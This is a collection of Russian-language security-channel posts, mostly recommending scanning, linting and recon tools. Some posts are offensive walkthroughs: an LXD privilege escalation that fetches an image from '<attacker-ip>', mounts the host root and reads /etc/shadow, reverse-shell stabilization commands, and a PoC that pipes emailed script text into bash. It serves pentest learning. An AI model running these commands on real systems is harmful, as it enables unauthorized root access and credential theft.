Быстрее, выше, жирнее.
gowitness - веб-скриншотер, использующий Chrome Headless, своеобразный EyeWitness на стероидах. Собирает не только скриншоты страниц (которые он показывает в галерее), но и полные хидеры, сетевые логи и информацию по сертификату и лог консоли.
Функционал может показаться немного перегруженным, но инструмент хороший.
P.S. Бывает баг с сохранением скриншотов, лечится ручным созданием директории screenshots
. ¯\_(ツ)_/¯
Github
Wiki
Ну что, с Днем знаний.
Лето закончилось, а это значит, что время, проводимое за компьютером придёт в обычную норму (если вы не ноулайфер, разумеется). А ещё это время когда оживают всякие рекрутеры, HR и прочие товарищи из мира кадров.
Нашёл у себя буржуйсий сборник вопросов "Here are the 300 interview questions for cyber security roles", подходящий не только как подготовка к собеседованиям, но и самим пройтись по многим вопросам полезно.
Так что самое время учиться, заполнять свой цеттелькастен и/или забивать заметками Obsidian.
Или готовиться к собеседованию. Мало ли.
И немного дополню это всё, так как только инструментами всё не решается.
CIS Benchmarks
Docker Best Practice
Aquasec Top 20 Docker Security Best Practices
Да, кроме этого есть ещё clair, Lynis, но первый довольно масштабный, и нужен не всем, а Lynis довольно своеобразен.
Если вы не планируете интеграцию в CI/CD, то trivy отличный вариант.
А в CI/CD можно и dockle или clair засунуть интегрировать.
Секурим докер.
Когда речь заходит про безопасность docker, то обычно сразу всплывает всякий сбор логов, мониторинг и "надо было ставить линукс" "давайте запихаем агент Wazuh".
Однако, как с вешалки начинается театр, так жизненный путь контейнера начинается с dockerfile. C них и начнем.
Из простого: какой-нибудь линтер.
Для ленивых - fromlatest.io
Поправить синтаксис, теги, убрать всякий deprecated и вообще держать всё в удобочитаемом виде дело важное.
hadolint
Локальный линтер, который можно запускать как в установленном виде, так и из докера. Может проверять как локальные докерфайлы, так и из registry. Проверки репозитория нет, так что при необходимости придётся решать это костылями.
Репозиторий
Web-версия
Неочевидная фича KeePassXC.
В KeePassXC можно посмотреть статистику стойкости паролей и их реюз.Database -> Database Reports -> Health Check.
P.S. Там же есть ещё проверка паролей на haveibeenpwned.com, вдруг кому надо.
Превращаем простыню в отчет.
Не секрет, что вывод nmap читать довольно проблемно, особенно при большом количестве хостов, да ещё и со скриптами.
Разбирать это всё руками удовольствие сомнительное, хочется сей труд упростить.
Нашёл для себя nmap-formatter. Небольшой инструмент, позволяющий конвертировать xml-вывод в html, csv, markdown и json.
Работает не идеально (местами ссылки там, где их нет, например), но сильно упрощает дело.
Ещё есть nmap2md. Строит небольшие таблицы в markdown, и с хитрым сканированием может не работать.
Но для простого сканирования, вроде инвентаризации своей сети вполне подойдет.
Тут таблицу со всякими security сертификациями обновили.
Как и всегда, в топе сертификации от OffSec и GIAC.
Свежие танцы по старым граблям с зеленым зверем.
Понадобился мне OpenVAS для сравнения с другими сканерами.
По старой памяти помню, что во всяких пентестерских дистрибутивах он устанавливался, хоть и не без проблем. Однако же, в ParrotOS что-то было заботливо сломано ещё при установке (потеряли либу), то в Kali оно хоть и запустилось, но выпадало в ошибку на попытке добавить таск.
Есть два варианта:
1. Использовать триальную VM с сайта Greenbone. Для простого сканирования активировать не требуется, будет работать с фидами Community. Годится только для теста (или пощупать перед покупкой).
2. Использовать docker-контейнер.
Официальный образ уже давно покрылся мхом, но мир не без добрых людей. Образ рабочий, свежий, фиды обновляются и можно даже в прод тащить.
Ссылки:
Git проекта
Страница с документацией
DockerHub
Без внятного scope результат - nope.
Что при защите, что при нападении определить скоуп очень важно.
В случае с внутренней инфраструктурой (при защите) всё можно собрать системой инвентаризации, то с внешними сервисами это работает не всегда.
При большой инфраструктуре можно использовать везде ip-адреса, но это уже скорей админский Self-harm best practice, так что будем искать DNS-записи.
dnsdumpster.com - простой и надежный онлайн сервис. Кроме самих dns-записей, которые можно экспортировать в xslx (зочем?), рисует довольно полезные диаграммы.
сrt.sh - поиск сертификатов по (под)доменам. На сайте экспорта в файл нет, но вы держитесь.
sublist3r - простой консольный инструмент, собирающий записи с разных источников, в том числе и crt.sh.
Работает довольно быстро.
amass - комбайн от OWASP. Собирает записи с кучи источников, визуализирует. Чтобы не было сложно и непонятно, стоит обмазаться документацией.
Немного о забивании гвоздей микроскопом.
Чтобы не вылезая из консоли посмотреть содержимое дампа трафика в открытом виде можно использовать tcpick.tcpick -C -yP -r tcp_dump.pcap
Извлечь содержимое дампа без Wireshark тоже можно не вставая с дивана, но уже другой утилитой - tcpxtract.tcpxtract -f tcp_dump.pcap
Линк из комментов.
penelope - хэндлер на стероидах с солидным функционалом.
- автоапгрейд шелла
- загрузка файлов в обе стороны
- загрузка скриптов (например linpeas и PowerUp)
- логировние сессий (хуяк-хуяк и райтап)
- поддержка множества сессий.
А ещё можно прикрутить его к metasploit.
Итак, год заканчивается, а у кого-то он уже закончился.
Стоит подвести итоги, хотя подводить особо нечего. Мало писал, мало сделал, в общем образец непродуктивности. Зато регион проживания сменил.
На следующий год уже есть планы, так что будет интересно. (Но это не точно.)
Всех с новым годом.
И как говорил классик: "Вы держитесь здесь, вам всего доброго, хорошего настроения и здоровья!"
https://m.youtube.com/watch?v=8PzPHKGpNXs
Кстати, для этого 1secmail есть удобная штука для cli - tmpmail.
Удобный shell-скрипт, позволяющий генерировать ящики и получать почту. Из зависимостей только curl, w3m и jq, так что запустить можно хоть на OpenWRT.
А можно и вовсе в docker запихать.
P.S. А кто нибудь упарывался так, что писал управление роутерами/прочими железками через почту (в том числе и временную)?
Немного детективная история.
Решил попробовать себя на фрилансе. И не на российском, а с зарубежными заказчиками поработать. И пал мой выбор на Upwork.
Хоть и отправлял кучу запросов на несложные задания, шли они все в никуда. И тут появился он - японец с Ethical Hacker Required, вордпрессом и сотней долларов за работу. А точнее с утерянными учетными данными.
Объясняет, ситуация сложная, сайт взломали хакеры, дискредитирующие его честное имя. А человек, который занимался сайтом, трагически погиб из-за коронавируса. Сайт хостится на бесплатном тарифе самого Wordpress, никаких доступов нет, а на какой email зарегистрировал сайт и вовсе не ясно.
Мол вот тебе доменное имя, вот тебе имя моё (известное в определенных кругах, к слову), и год, когда сайт начал свою жизнь - 2017.
Однако, сложности начались отнюдь не с технической стороны, а с расхождений по информации. Первые посты не с 2017, а аж с 2001, заказчик утверждает, что находится в Японии, а в описании заказа Индия. Да и с проверкой личности целая беда. Предложил человеку сделать селфи на фоне нашего чата на Upwork, на что он сначала отвечает про "неумение" в чат фотографии выкладывать и ссылку на Dropbox скинет. А после вообще скинул в чат фотографию из гугла со словами "вот фотография, проверяй через гугл". На дополнительную просьбу верифицировать себя через корп. почту он тоже не отреагировал.
Да и немного странно, когда биолог-бизнесмен пишет как индус из техподдержки Oracle или Microsoft.
А дополнительно к этому всему содержимое сайта, которое посвящено мошенничеству при участии этого гражданина из Страны Восходящего Солнца.
В итоге совсем не понятно получается, если автор просто хочет вернуть сайт, то почему бы ему не удостоверить личность?
Если это ленивый индийский скаммер, зачем ему японский биолог-мошенник (или нет, не понятно)?
В общем, странная ситуация. Какой-то неправильный киберпанк, который я заслужил.
К OSCP готовится кто? Нашёл небольшой гайд OSCP tips and tricks.
На счёт актуальности не уверен (Buffer Overflow не убрали разве?), но интересные моменты есть.
Пока все переворачивали календарь, поджигали костры рябин и сентябрь, я обновлял\добавлял набор инструментов.
На днях наткнулся на занятную штуку - hetty.
Ещё один HTTP proxy, со стандартным функционалом (перехват и изменение запросов, scope и прочее), работой с проектами. Киллер-фич нет, однако hetty легковесней, и работает прямо в браузере.
А ещё можно в докере запускать.
Github
Документация
From LXC to etc
Использование чистого lxc в природе сейчас встретишь не часто, но в некоторых дистрибутивах он есть, например в Ubuntu 20.04.
И раз у нас есть такая крутая штука, то странно ей не воспользоваться.
Вообще это довольно интересный и своеобразный вектор атаки, и пишут про него не особо часто (ну да, ведь везде docker).
- Собираем образ на своей машине:git clone https://github.com/saghul/lxd-alpine-builder
Скачиваем файл
cd lxd-alpine-builder
sudo ./build-alpine -a i686
Полученный файл можно куда-то выгрузить, а можно раздать с веб-сервера, например так:
python3 -m http.server 8080Забираем файл так:
wget http://<attacker-ip>:8080/alpine-v3.16-i686-20220603_1113.tar.gzИли так:
curl http://<attacker-ip>:8080/alpine-v3.16-i686-20220603_1113.tar.gz --output alpine-v3.16-i686-20220603_1113.tar.gzКак альтернативный вариант, можем использовать сразу образ из репозитория:
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/alpine-v3.13-x86_64-20210218_0139.tar.gz
Импортируем образ:lxc image import ./alpine*.tar.gz --alias evilimageПредварительно проверяем, используется ли lxc
ip a | grep lxdИ если ничего нет, то запускаем начальную настройку:
lxc list
lxc image list
lxd init
Запускаем образ:lxc init evilimage evilcontainer -c security.privileged=trueМонтируем /root в образ:
lxc config device add evilcontainer victimdevice disk source=/ path=/mnt/root recursive=trueЗапускаем и радуемся результату
lxc start evilcontainer
lxc exec evilcontainer /bin/sh
cat /mnt/root/etc/shadow
И пара ссылок на тему:Сканеры уязвимости:
trivy
trivy - простой, но хороший сканер уязвимостей. Находит уязвимые версии софта в зависимостях, секреты, мисконфиги.
Из удобств: можно использовать как standalone сканирование, например проверить репозиторий целиком, так и интегрировать в CI/CD (Jenkins, GitLab CI, GitHub Actions). Есть плагин для VSCode.
Репозиторий
Плагин для VSCode
docker-bench-security
Набор bash скриптов для проверки безопасности конфигурации образов и контейнеров. docker-bench-security больше рассчитан на интеграцию, standalone сканирование в целом есть, но не без страданий в работе.
Могут быть проблемы с интерпритацией вывода, так как используется CIS Benchmark.
Репозиторий
dockle
И линтер, и сканер.
Ищет CVE в ПО образа, проверяет корректность и безопасность конкретного образа, анализируя его слои и конфигурацию.
И вообще это лучший инструмент (по словам авторов).
Работает как отдельно, так и интегрируется с GitLab CI, Jenkins.
Репозиторий
А ещё у него есть cli.
Не сказать, что он божественный и удобный (у меня автокомплит не работает), но он есть и даже работает.
PHDays 11 это не только пьяный Вишняков, но и доклады, уже доступные тут.
Либо не всё попало на видео, либо крайне любопытных докладов в этом году меньше. Для себя из интересных отметил Domain admin blitzkrieg и Обход сигнатур WAF.
Видимо, основной фан впитал в себя Standoff.
Получаем информацию о CVE через API.
Автоматизированные сканеры это хорошо, но false positive никто не отменял. Проверять это всё надо, но руками гуглить вариант долгий. Будем использовать публичный API.
Получить инфу по CVE со всеми деталями:
curl -s https://cve.circl.lu/api/cve/CVE-2021-41773Получаем информацию по CVE, выводя только версии ПО:
curl -s https://cve.circl.lu/api/cve/CVE-2021-41773 | jq ".id, .vulnerable_product"Получаем информацию по CVE из списка:
cat cve.list | xargs -I % curl -s https://cve.circl.lu/api/cve/% | jq ".id, .vulnerable_product"
Dockerhub + vulnhub = vulhub?
Виртуальные машины с уязвимостями это хорошо, а docker лучше.
Пока искал, как ещё развернуть уязвимый сервис, нашёл крутой проект от китайских коллег.
Братья из поднебесной заботливо собирают сервисы с CVE в виде docker-контейнеров, всё рассортировано по сервисам и номерам CVE.
Кроме того, в комлекте идут PoC или эксплоиты.
Документация почти вся на китайском, но почти всё сводится к:
cd service/CVEОтличный повод перестать бояться и полюбить Docker.
docker-compose build
docker-compose up -d
Без внятного scope результат - nope. Part 2.
Что делать дальше?
1. Можно собрать хэдеры для ручного разбора:
Пример:
cat dns-scan.out | xargs -n 1 curl --head -iLСравнительно быстро, но не удобно. Если дружите с grep, может понравится.
cat dns-scan.out | xargs nikto -output out.html -h3. Использовать WhatWeb:
whatweb -i dns-scan.out -v --log-verbose=whatweb.out4. И вишенка на торте: EyeWitness:
eyewitness -f dns-scan.out --webДа, по итогу готового варианта толком и нет. Однако можно использовать различные сканеры вроде reNgine.
Заметка на полях по Wazuh.
При внедрении Wazuh возник вопрос, как проверять обнаружение уявимостей.
На свежих системах CVE нет, а тащить что-то непонятное не хочется.
Не в проде проверять же?
Варианта тут два:
1. Машины с vulnhub.
2. Metasploitable 3
С Vulnhub для проверки подойдет Typhoon, машина не самая древняя, и wazuh-agent установится без проблем.
С Metasploitable 3 всё немного сложней, но интересней. Готового образа нет, но можно собрать Ubuntu 14.04 и Windows Server 2008.
Системы не самые свежие, но плюс в том, что есть список уязвимостей, и можно проверить не только обнаружение, но и сработку на netcat, проактивные действия и всё прочее.
P.S. Можно ещё использовать docker-контейнеры с CVE, но это скорей для точечной проверки. Но тоже вариант.
Раз пошла тема реверс-шеллов, то не могу пройти мимо revshells.com
P.S. Упоротая конструкция на PHP с эмоджи одновременно доставляет и вызывает инсульт жопы.
Заметки на полях.
Стабилизируем reverse-shell:
На атакуемой машине запускаем что-либо из списка:
Python:python3 -c "import pty; pty.spawn('/bin/bash')"
Ruby:ruby -e "exec '/bin/bash'"
Perl:perl -e "exec '/bin/bash';"
Переводим шелл в фон:Ctrl+Z
На атакующей машине выполняем:stty raw -echo && fg
На атакуемой машине:export TERM=xterm
Накидал небольшой PoC идеи:
1. В теле письма будет скрипт вида:
#!/bin/bash2. Запускаем на машине:
echo "Hello, im PoC"
tmpmail -t -r | tail -n +5 | bash
Можно использовать curl, но будет немного сложней.
Читать полностью…
Temp mails and ah-pee.
Не секрет, что сейчас сервисов временной почты вагон и маленькая тележка. Но почти у всех доступ только через веб, что не очень удобно. Разумеется есть сервисы с ботом в TG, и даже с форвардерами на обычные ящики, но порой и это не удобно.
Хочется чего-то простого и элегантного, например забирать письма через API. И желательно без регистрации и смс.
Сравнительно подходящими показались temp-mail.org
и afeg.ru
, но своего API у них нет, они работают через велосипед в виде rapidapi.
И тут под руку попался 1secmail.com. Регистрации и смс не требует, сам API сравнительно прост и документирован.
Правда у сервиса небольшое количество доменных, что небольшой но минус.
На РТК и МТС torproject.org уже не открывается.
А Яндекс даже скрыл ссылку в поисковой выдаче.
Сам Tor пока работает. ¯\_(ツ)_/¯
Зеркало сайта так-же ещё доступно.